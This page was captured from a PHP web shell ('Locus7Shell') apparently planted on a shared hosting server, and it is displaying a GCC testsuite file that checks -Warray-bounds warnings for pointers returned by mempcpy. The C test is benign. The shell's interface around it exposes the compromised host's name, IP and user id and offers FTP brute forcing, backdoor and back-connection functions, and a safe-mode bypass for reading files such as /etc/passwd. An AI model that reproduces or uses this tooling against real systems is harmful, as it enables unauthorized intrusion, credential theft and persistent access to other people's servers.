Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Warray-bounds-82.c (5.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/101397 - spurious warning writing to the result
   of stpcpy minus 1
   Verify warnings for indexing into a pointer returned from mempcpy.
   The call mempcpy(S1, S2, N) returns &S1[N].
   { dg-do compile }
   { dg-options "-O2 -Wall" } */

typedef __SIZE_TYPE__ size_t;

void* mempcpy (void*, const void*, size_t);

extern char ax[], a3[3], a5[5], a7[7], *s;

volatile int x;

/* Verify warnings for indexing into the result of mempcpy with a source
   pointing to an array of unknown bound.  */

void test_mempcpy_from_ptr (int i)
{
  {
    char *p = mempcpy (ax, s, 5);
    x = p[-6];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-5];
    x = p[-1];
    x = p[ 0];
    x = p[ 9];
  }

  {
    char *p = mempcpy (a5, s, 3);
    x = p[-4];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];
    x = p[ 1];
    x = p[ 2];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    char *p = mempcpy (a5, s, 4);
    x = p[-5];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-4];
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];
    x = p[ 1];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    char *p = mempcpy (a5, s, 4);

    if (i > -1) i = -1;
    x = p[i];

    if (i > -2) i = -2;
    x = p[i];

    if (i > -3) i = -3;
    x = p[i];

    if (i > -4) i = -4;
    x = p[i];

    if (i > -5) i = -5;
    x = p[i];                           // { dg-warning "\\\[-Warray-bounds" }
  }
}

/* Verify warnings for indexing into the result of mempcpy with a source
   an array of size 5.  */

void test_mempcpy_from_a5 (int i, int n, int n3_9)
{
  {
    // The returned pointer is ax + 3 as specified by the bound.
    char *p = mempcpy (ax, a5, 3);
    x = p[-4];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-3];
    x = p[-2];
    x = p[ 0];
    x = p[ 1];
    x = p[ 2];
  }

  {
    // The returned pointer is ax + 5.
    char *p = mempcpy (ax, a5, 5);
    x = p[-6];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-5];
    x = p[-1];
    x = p[ 0];
    x = p[ 9];
  }

  {
    //The returned pointer is in [ax, ax + 5] even though n is not known.
    char *p = mempcpy (ax, a5, n);
    x = p[-6];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-5];
    x = p[-1];
    x = p[ 0];
    x = p[ 9];
  }


  {
    // The returned pointer is a3 + 3.
    char *p = mempcpy (a3, a5, 3);
    x = p[-4];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-3];
    x = p[-1];
    x = p[ 0];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[ 1];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    // The returned pointer is in [a3, a3 + 3].
    char *p = mempcpy (a3, a5, n);
    x = p[-4];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];
    x = p[ 2];
    x = p[ 3];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    if (n3_9 < 3 || 9 < n3_9)
      n3_9 = 3;

    // The returned pointer is a3.
    char *p = mempcpy (a3, a5, n3_9);
    x = p[-4];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    char *p = mempcpy (a3, a5, 3);

    if (i > -1) i = -1;
    x = p[i];

    if (i > -2) i = -2;
    x = p[i];

    if (i > -3) i = -3;
    x = p[i];

    if (i > -4) i = -4;
    x = p[i];                           // { dg-warning "\\\[-Warray-bounds" }
  }
}


/* Verify warnings for indexing into the result of mempcpy with a source
   an array of size 7.  */

void test_mempcpy_from_a7 (int i, int n, int n3_9)
{
  {
    // The returned pointer is ax + 5.
    char *p = mempcpy (ax, a7, 5);
    x = p[-6];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-5];
    x = p[-1];
    x = p[ 0];
    x = p[ 9];
  }

  {
    //The returned pointer is in [ax, ax + 7] even though n is not known.
    char *p = mempcpy (ax, a7, n);
    x = p[-8];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-7];
    x = p[-1];
    x = p[ 0];
    x = p[ 9];
  }


  {
    // The returned pointer is a5 + 3 as specified by the bound.
    char *p = mempcpy (a5, a7, 3);
    x = p[-4];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-3];
    x = p[-2];
    x = p[ 0];
    x = p[ 1];
    x = p[ 2];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    // The returned pointer is a5 + 4.
    char *p = mempcpy (a5, a7, 4);
    x = p[-5];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-4];
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];
    x = p[ 1];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    // The returned pointer is in [a5, a5 + 5].
    char *p = mempcpy (a5, a7, n);
    x = p[-6];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-5];
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];
    x = p[ 4];
    x = p[ 5];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    if (n3_9 < 3 || 9 < n3_9)
      n3_9 = 3;

    // The returned pointer is in [a5 + 3, a5 + 5].
    char *p = mempcpy (a5, a7, n3_9);
    x = p[-6];                          // { dg-warning "\\\[-Warray-bounds" }
    x = p[-5];
    x = p[-3];
    x = p[-2];
    x = p[-1];
    x = p[ 0];
    x = p[ 1];
    x = p[ 2];                          // { dg-warning "\\\[-Warray-bounds" }
  }

  {
    char *p = mempcpy (a5, a7, 4);

    if (i > -1) i = -1;
    x = p[i];

    if (i > -2) i = -2;
    x = p[i];

    if (i > -3) i = -3;
    x = p[i];

    if (i > -4) i = -4;
    x = p[i];

    if (i > -5) i = -5;
    x = p[i];                           // { dg-warning "\\\[-Warray-bounds" }
  }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--